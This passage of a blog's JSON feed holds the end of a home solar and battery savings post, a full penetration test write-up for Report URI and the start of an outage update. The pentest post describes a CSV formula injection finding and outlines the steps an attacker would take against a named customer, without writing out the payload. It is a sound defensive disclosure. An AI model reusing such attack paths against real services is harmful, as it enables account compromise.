MWh</strong></p><p></p><p>That gives us a total household usage of 17.3 MWh.</p><p>(20.1 MWh import + 3.2 MWh solar) − 6.0 MWh export = 17.3 MWh usage</p><p>If we didn't have the solar array providing power, the full 17.3 MWh of consumption would have been chargeable from our provider. If we had only the solar and no battery, assuming a perfect ability to utilise our solar generation, only 14.1 MWh of our usage would need to be imported. The cost of those units of solar generation can be viewed at the peak and off-peak rates as follows.</p><p>Peak rate: 3,200 kWh x £0.28/kWh = £896<br>Off-peak rate: 3,200 kWh x £0.07/kWh = £224</p><p>Given that solar panels only produce during peak electricity rates, it would be reasonable to use the higher price here. A consideration for us though is that we do have batteries, and we're able to load-shift all of our usage into the off-peak rate, so arguably the solar panels only made £224 of electricity. </p><p>The bigger savings come when we start to look at the cost of the grid import. Assuming we had no solar panels, we'd have imported 17.3 MWh of electricity, and with the solar panels and perfect utilisation, we'd have imported 14.1 MWh of electricity. That's quite a lot of electricity and calculating the different costs of peak vs. off-peak by using batteries to load shift our usage gives some quite impressive results.</p><p>Peak rate: 17,300 kWh x £0.28/kWh = £4,844<br>Peak rate with solar: 14,100 kWh x £0.28 = £3,948</p><p>Off-peak rate: 17,300 kWh x £0.07/kWh = £1,211<br>Off-peak rate with solar: 14,100 kWh x £0.07/kWh = £987</p><p>This means there's a potential swing from £4,844 down to £987 with solar and battery, a total potential saving of £3,857!</p><p>This also tracks if we look at our monthly spend on electricity which went from £350-£400 per month down to £50-£100 per month depending on the time of year. But it gets better.</p><p></p><h4 id=\"exporting-excess-energy\">Exporting excess energy</h4><p>Our solar array generates almost nothing in the winter months so our batteries are sized to allow for a full day of usage with basically no solar support. We can go from the start of the peak rate at 05:30 all the way to the off-peak rate at 23:30 without using any grid power. When it comes to the summer months, though, our solar array is producing a lot of power and we clearly have a capability to export a lot more. The batteries can fill up on the off-peak rate overnight at £0.07/kWh, and then export it during the peak rate for £0.15/kWh, meaning any excess solar production or battery capacity can be exported for a reasonable amount.</p><p>If we take a look at the billing information from our energy supplier, we can see that during July, our best month for solar production, we exported a lot of energy. We exported so much energy that it actually fully offset our electricity costs and allowed us to go negative, meaning we were earning money back.</p><p>Here is our electricity import data:</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-7.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"988\" height=\"623\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-7.png 988w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>And here is our electricity export data:</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-6.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"983\" height=\"706\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-6.png 983w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>That's a pretty epic scenario, despite us being such high energy consumers, to still have the ability to fully cover our costs and even earn something back! For clarity, we will still have the standing charge component of our bill, which is £0.45/day so about £13.50 per month to go on any given month, but looking at the raw energy costs, it's impressive.</p><p></p><h4 id=\"the-final-calculation\">The final calculation</h4><p>I pulled all of our charges for electricity in 2025 to see just how close my calculations were and to double check everything I was thinking. Earlier, I gave these figures:</p><p>Off-peak rate: 17,300 kWh x £0.07/kWh = £1,211</p><p>If 100% of our electricity usage was at the off-peak rate, we should have paid £1,211 for the year. Adding up all of our monthly charges, our total for the year was £1,608.11 all in, but we need to subtract our standing charge from that.</p><p>Total cost = £1,608.11 - (365 * £0.45)<br><strong>Total import = £1,443.86</strong></p><p></p><p>This means that we got almost all of our usage at the off-peak rate which is an awesome achievement! After the charges for electricity, I then tallied up all of our payments for export.</p><p><strong>Total export = £886.49</strong></p><p></p><p>Another pretty impressive achievement, earning so much in export, which also helps to bring our net electricity cost in 2025 to <strong>£557.37</strong>! To put this another way, the effective rate of our electricity is now just £0.03/kWh.</p><p>£557.37 / 17,300kWh = <strong>£0.03/kWh</strong></p><p></p><h4 id=\"but-was-it-all-worth-it\">But was it all worth it?</h4><p>That's a tricky question to answer, and everyone will have different objectives and desired outcomes, but ours was pretty clear. Running two Electric Vehicles, having two adults working from home full time, me having servers and equipment at home, along with a power hungry hot tub, we were spending too much per month in electricity alone, and our goal was to reduce that.</p><p>Of course, it only makes sense to spend money reducing our costs if we reduce them enough to pay back the investment in the long term, and things are looking good so far. Here are the costs for our installations:</p><p></p><p>£17,580 - Powerwalls #1 and #2 installed.<br>£13,940 - Solar array installed.<br>£7,840  - Powerwall #3 installed.<br>Total cost = £39,360</p><p></p><p>If we assume even a generous 2/3 - 1/3 split between peak and off-peak usage, with no Powerwalls or solar array, our electricity costs for 2025 would have been £3,632.86:</p><p>11,533 kWh x £0.28/kWh = £3,229.24<br>5,766 kWh x £0.07/kWh = £403.62<br>Total = £3,632.86</p><p></p><p>Instead, our costs were only £557.37, meaning we saved £3,078.49 this year. We also only had export capabilities for 7 months of 2025, so in 2026 when we will have 12 months of export capabilities, we should further reduce our costs. I anticipate that in 2026 our electricity costs for the year will be ~£0, and that's our goal.</p><p>Having our full costs returned in ~11 years is definitely something we're happy with, and we've also had protection against several power outages in our area along the way, which is a very nice bonus. Another way to look at this is that the investment is returning ~9%/year.</p><p></p><table>\n<thead>\n<tr>\n<th style=\"text-align:right\">Year</th>\n<th style=\"text-align:right\">Cumulative savings (£)</th>\n<th style=\"text-align:right\">ROI (%)</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align:right\">1</td>\n<td style=\"text-align:right\">3,632.86</td>\n<td style=\"text-align:right\">9.23%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">2</td>\n<td style=\"text-align:right\">7,265.72</td>\n<td style=\"text-align:right\">18.46%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">3</td>\n<td style=\"text-align:right\">10,898.58</td>\n<td style=\"text-align:right\">27.69%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">4</td>\n<td style=\"text-align:right\">14,531.44</td>\n<td style=\"text-align:right\">36.92%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">5</td>\n<td style=\"text-align:right\">18,164.30</td>\n<td style=\"text-align:right\">46.15%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">6</td>\n<td style=\"text-align:right\">21,797.16</td>\n<td style=\"text-align:right\">55.38%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">7</td>\n<td style=\"text-align:right\">25,430.02</td>\n<td style=\"text-align:right\">64.61%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">8</td>\n<td style=\"text-align:right\">29,062.88</td>\n<td style=\"text-align:right\">73.84%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">9</td>\n<td style=\"text-align:right\">32,695.74</td>\n<td style=\"text-align:right\">83.07%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">10</td>\n<td style=\"text-align:right\">36,328.60</td>\n<td style=\"text-align:right\">92.30%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">15</td>\n<td style=\"text-align:right\">54,492.90</td>\n<td style=\"text-align:right\">138.43%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">20</td>\n<td style=\"text-align:right\">72,657.20</td>\n<td style=\"text-align:right\">184.61%</td>\n</tr>\n<tr>\n<td style=\"text-align:right\">25</td>\n<td style=\"text-align:right\">90,821.50</td>\n<td style=\"text-align:right\">230.76%</td>\n</tr>\n</tbody>\n</table>\n<p> </p><p>Of course, at some point during that period, the effective value of the installation will reduce to almost £0, and we have to consider that, but it's doing pretty darn good. If we hadn't needed to add that third Powerwall, this would have been so much better too. We'll see what the future holds, but with the inevitable and continued rise of energy costs, and talk of moving the standing charge on to our unit rate, things might look even better in the future.</p><p></p><h4 id=\"onwards-to-2026\">Onwards to 2026!</h4><p>Now that we have everything properly set up, and I'm happy with all of our Home Assistant automations, we're going to see how 2026 goes. I will definitely circle back in a year from now and see how the numbers played out, and until then, I hope the information here has been useful or interesting 👍</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/2025-energy.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/2025-energy.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/2025-energy.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Tesla Powerwall",
              "term": "Tesla Powerwall",
              "url": null
            },
            {
              "label": "Solar Power",
              "term": "Solar Power",
              "url": null
            },
            {
              "label": "Octopus Energy",
              "term": "Octopus Energy",
              "url": null
            }
          ]
        },
        {
          "id": "693822108d605500017a6622",
          "title": "Report URI Penetration Test 2025",
          "description": "<p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> which is to conduct our annual penetration test! </p><p>🎅🎄🎁 --> 🩻🔐🥷</p><p>This will be our 6th annual penetration test that we've posted completely publicly,</p>",
          "url": "https://scotthelme.ghost.io/report-uri-penetration-test-2025/",
          "published": "2025-12-15T15:36:37.000Z",
          "updated": "2025-12-15T15:36:37.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/report-uri-penetration-test.webp\" alt=\"Report URI Penetration Test 2025\"><p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> which is to conduct our annual penetration test! </p><p>🎅🎄🎁 --> 🩻🔐🥷</p><p>This will be our 6th annual penetration test that we've posted completely publicly, just as before, and we'll be covering a full run down of what was found and what we've done about it. </p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1915\" height=\"356\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image.png 1915w\" sizes=\"(min-width: 720px) 720px\"></a></figure><h4 id=\"penetration-tests\">Penetration Tests</h4><p>If you find this post interesting or would like to see our previous reports, then here are the links to each and every one of those!</p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2020/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Report URI Penetration Test 2020</a></p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Report URI Penetration Test 2021</a></p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2022/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Report URI Penetration Test 2022</a></p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2023/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Report URI Penetration Test 2023</a></p><p><a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2024/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI Penetration Test 2024</a></p><p></p><h4 id=\"the-results\">The Results</h4><p>2025 has been another good year for us as we've continued to focus on the security of our product, and the results of the test show that. Not only have we added a bunch of new features, we've also made some significant changes to our infrastructure and made countless changes and improvements to existing functionality too. The tester had what was effectively an unlimited scope to target the application, a full 'guidebook' on how to get up and running with our product and a demo call to ensure all required knowledge was handed over before the test. We wanted them to hit the ground running and waste no time getting stuck in.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-1.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"724\" height=\"409\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-1.png 724w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Finding an Info rated issue, three Low rated and a Medium severity issue definitely gives us something to talk about, so let's look at that Medium severity first. </p><p></p><h4 id=\"csv-formula-injection\">CSV Formula Injection</h4><p>The entire purpose of our service is to ingest user-generated data and then display that in some way. Every single telemetry report we process comes from either a browser or a mail server, and the entire content, whilst conforming to a certain schema, is essentially free in terms of the values of fields. We have historically focused on, and thus far prevented, XSS from creeping it's way in, but this bug takes a slightly different form. </p><p>Earlier this year, June 11th to be exact, we released a new feature that allowed for a raw export of telemetry data. This was a commonly requested feature from our customers and we provided two export formats for the data, the native JSON that telemetry is ingested in, or a CSV variant too. You can see the export feature being used here on CSP Reports.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-2.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1553\" height=\"543\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-2.png 1553w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Because the data export is a raw export, we are providing the telemetry payloads that we received from the browser or email server, just as you would have received them if you collected them yourself. It turns out that as these fields obviously contain user generated data, and you can do some trickery!</p><p>The specific example given by the tester uses a NEL report, but it's not a problem specific to NEL reports, it's possible across all of our telemetry. Looking at the example in the report, you can see how the tester crafted a specific payload:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-3.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1005\" height=\"671\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-3.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-3.png 1005w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This <code>type</code> value contains an Excel command that will make it through to the CSV export as it represents the raw value sent by the client. The steps to leverage this are pretty convoluted, but I will quickly summarise them here by using an example if you want to target my good friend <a href=\"https://troyhunt.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Troy Hunt</a>, who runs <a href=\"https://haveibeenpwned.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Have I Been Pwned</a> which indeed uses Report URI.</p><ol><li>Identify the subdomain that Troy uses on our service, which is public information. </li><li>Send telemetry events to that endpoint with specifically crafted payloads which will be processed in to Troy's account.</li><li>Troy would then need to view that data in our UI, and for any reason wish to export that data as a CSV file. </li><li>Then, Troy would have to open that CSV file specifically in Excel, and bypass the two security warnings presented when opening the file. </li></ol><p></p><p>There are a couple of points in there that require some very specific actions from Troy, and the chances of all of those things happening are a little far-fetched, but still, we gave it a lot of consideration. The problem I had is that the export is raw, it's meant to be an export of what the browser or email server provided to us so you have a verbatim copy of the raw data. Sanitising that data is also tricky as there isn't a universal way to sanitise CSV because it depends on what application you're going to open it with, something I discovered when testing out our fix!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-4.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1140\" height=\"582\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-4.png 1140w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Our current approach is to add a single quote to the start of the value if we detect that the first non-whitespace character is a potentially dangerous character, and that seems to have reliably solved the issue. I'm happy to hear feedback on this approach, or alternative suggestions, so drop by the comments below if you can contribute!</p><p></p><h4 id=\"vulnerabilities-in-outdated-dependencies\">Vulnerabilities in Outdated Dependencies </h4><p>Not again! Actually, I'm pretty happy with the finding here, but I will explain both of the issues raised and what we did and didn't do about them. </p><h6 id=\"bootstrap-v3x\">Bootstrap v3.x</h6><p>The last version of Bootstrap 3 was v3.4.1 which did have an XSS vulnerability present (<a href=\"https://security.snyk.io/package/npm/bootstrap/3.4.1?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>). We have since cloned v3.4.1 and patched it up to v3.4.4 ourselves to fix various issues that have been found, including the XSS issue raised here. The issue is still flagged in v3.x though, which is why it was flagged in our custom patched version, so in reality, there is no problem here and we're happy to keep using our own version. </p><h6 id=\"jquery-cookie-v141\">jQuery Cookie v1.4.1</h6><p>Another tricky one because the Snyk data that we refer to lists no vulnerability in this library (<a href=\"https://security.snyk.io/package/npm/jquery.cookie/1.4.1?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>) which is why our own tooling hasn't flagged this to us. That said, the NVD does list a CVE for this version of the jQuery Cookie plugin (<a href=\"https://nvd.nist.gov/vuln/detail/cve-2022-23395?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>) but I can't find other data to back that up, including their own link to Snyk which doesn't list a vulnerability. Rather than spend too much time on this for what is a relatively simple plugin, we decided to remove it and implement the functionality that we need ourselves, solving the problem.</p><p></p><p>With both of those issues addressed, I'm happy to say that we can consider this as resolved too.</p><p></p><h4 id=\"insufficient-session-expiration\">Insufficient Session Expiration</h4><p>This issue has been raised previously in our <a href=\"https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk\" rel=\"noreferrer\">2021 penetration test</a>, and our position remains similar to what it was back then. Whilst I'm leaning towards 24 hours being on the top end, and we will probably bring this down shortly, I also feel like the recommended 20 minutes is just too short. Going away from your desk for a coffee break and returning to find you've been logged out just seems a little bit too aggressive for us.</p><p>Looking at the other suggested concerns, if you have malware running on your endpoint, or someone gains physical access to extract a session cookie, I feel like you probably have much bigger concerns to address too! Overall, I acknowledge the issue raised and we're currently thinking something in the 12-18 hours range might be better suited. </p><p></p><h4 id=\"insecure-tls-configuration\">Insecure TLS Configuration\n</h4><p>You could argue that I know a thing or two about TLS configuration, heck, you can even attend my <a href=\"https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io\" rel=\"noreferrer\">training course</a> on it if you like! The issue that somebody like a pen tester coming in from the outside is that they're always going to lack the specific context on why we made the configuration choices we did, and I also recognise that it's very hard to give generic advice that fits all situations. </p><p>We have priority in our cipher suite list for all of the best cipher suites as some of the first choices, and we have support for the latest protocol versions too. We're doing so well in fact that we get an A grade on the SSL Labs test (<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=helios.report-uri.com&ref=scotthelme.ghost.io\" rel=\"noreferrer\">results</a>):</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-5.png\" class=\"kg-image\" alt=\"Report URI Penetration Test 2025\" loading=\"lazy\" width=\"1284\" height=\"671\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-5.png 1284w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>I'm happy with where our current configuration is but as always, we will keep it in constant review as time goes by!</p><p></p><h4 id=\"no-account-lockout-or-timeout-mechanism\">No Account Lockout or Timeout Mechanism\n</h4><p>This is a controversial topic and it's quite interesting to see it come up because we specifically cover this in the <a href=\"https://www.troyhunt.com/workshops/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Hack Yourself First</a> workshop that I deliver alongside Troy Hunt! I absolutely recognise the goal that a mechanism like this would be trying to achieve, but I worry about the potential negative side-effects.</p><p>Using account enumeration it's often trivial to determine if someone has an account on our service, so you might be able to determine that [email protected] is indeed registered. You then may want to start guessing different passwords to try and log in to Troy's account, and there lies the problem. How many times should you be able to sit there and guess a password before something happens? An account lockout mechanism might work along the lines of saying 'after 5 unsuccessful login attempts we will lock the account and require a password reset', or perhaps say 'after 5 unsuccessful login attempts you will not be able to login again for 3 minutes'. Both of these would stop the attacker from making significant progress, but both of them also present an opportunity to be abused by an attacker too. The attacker can now sit and make repeated login attempts to Troy's account and keep it in a perpetually locked state, denying him the use of his account, a Denial-of-Service attack (DoS)! It's for this reason I'm generally not fond of these account lockout / account suspension mechanisms, they do provide an opportunity for abuse. </p><p>Instead, we rely on a different set of protections to try and limit the impact of attacks like these. </p><ol><li>We implement incredibly strict rate-liming on sensitive endpoints, including our authentication endpoints. This would slow an attacker down so the rate at which they could make guesses would be reduced. (This was disabled for the client IP addresses used by the tester)</li><li>We utilise Cloudflare's Bot Management across our application, which includes authentication flows, and if there is any reasonable suspicion that the client is a bot or in some way automated, they would be challenged. This prevents attackers from automating their attacks, ultimately slowing them down. (This was disabled for the client IP addresses used by the tester)</li><li>We have taken exceptional measures around password security. We require strong and complex passwords for our service, check for commonly used passwords against the Pwned Passwords API, use zxcvbn for strength testing, and more. This makes it highly unlikely that the password being guessed could be guessed easily, and you can read the full details on our password security measures <a href=\"https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">here</a>.</li><li>We support, and have a very high adoption of, 2FA across our service. This means that there's a very good chance that if the attacker was able to guess a password, the next prompt would be to input the TOTP code from the authenticator app!</li></ol><p>Given the above concerns around lockout mechanisms, and the additional measures we have in place, I continue to remain happy with our current position but we will always review these things on an ongoing basis. </p><p></p><h4 id=\"thats-a-wrap\">That's a wrap!</h4><p>Given how much continued development we see in the product, and how much our infrastructure is evolving over time, I'm really pleased to see that our continued efforts to maintain the security of our product, and ultimately our customer's data, has paid off. </p><p>As we look forward to 2026 our \"Development Horizon\" project board is loaded with cool new features and updates, so be sure to keep an eye out for the exciting new things we have coming!</p><p>If you want to download a copy of our report, the latest report is always available and linked in the <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io#footer\" rel=\"noreferrer\">footer of our site</a>!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/report-uri-penetration-test.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/report-uri-penetration-test.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/report-uri-penetration-test.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Penetration Test",
              "term": "Penetration Test",
              "url": null
            }
          ]
        },
        {
          "id": "691dee03d9c78000011bd122",
          "title": "Report URI - outage update",
          "description": "<p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went</p>",
          "url": "https://scotthelme.ghost.io/report-uri-outage-update/",
          "published": "2025-11-19T21:24:19.000Z",
          "updated": "2025-11-19T21:24:19.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri-down.webp\" alt=\"Report URI - outage update\"><p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went unnoticed by most of our customers. </p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri---wide-1.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri---wide-1.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"what-happened\">What happened?</h4><p>I'm sure that many of you are already aware of the issues that Cloudflare experienced yesterday, and their post-mortem is now available <a href=\"https://blog.cloudflare.com/18-november-2025-outage/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">on their blog</a>. It's always tough to have service issues, but as expected Cloudflare handled it well and were transparent throughout. As a customer of Cloudflare that uses many of their services, the Cloudflare outage unfortunately had an impact on our service too. Because of the unique way that our service operates, <strong><em>our subsequent service issues did not have any impact on the websites or operations of our customers</em></strong>. What we do have to recognise, though, is that we may have missed some telemetry events for a short period of time.</p><p></p><h4 id=\"our-infrastructure\">Our infrastructure</h4><p>Because all of the telemetry events sent to us have to pass through Cloudflare first, when Cloudflare were experiencing their service issues, it did prevent telemetry from reaching our servers. If we take a look at the bandwidth for one of our many telemetry ingestion servers, we can clearly see the impact.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"991\" height=\"280\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/ingestion-server.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server.png 991w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Looking at the graph from the Cloudflare blog showing their 500 error levels, we have a near perfect alignment with us not receiving telemetry during their peak error rates.</p><p></p><figure class=\"kg-card kg-image-card kg-card-hascaption\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/image.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"1507\" height=\"733\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/11/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/image.png 1507w\" sizes=\"(min-width: 720px) 720px\"><figcaption><span style=\"white-space: pre-wrap;\">source: Cloudflare</span></figcaption></figure><p></p><p>The good news here, as mentioned above, is that even if a browser can't reach our service and send the telemetry to us, it has no negative impact on our customer's websites, at all, as the browser will simply continue to load the page and try to send the telemetry again later. This is a truly unique scenario where we can have a near total service outage and it's unlikely that a single customer even noticed because we have no negative impact on their application.</p><p></p><h4 id=\"the-recovery\">The recovery</h4><p>Cloudflare worked quickly to bring their service troubles under control and things started to return to normal for us around 14:30 UTC. We could see our ingestion servers start to receive telemetry again, and we started to receive much more than usual. Here's that same view for the server above.</p><p></p><figure class=\"kg-card kg-image-card\"><img 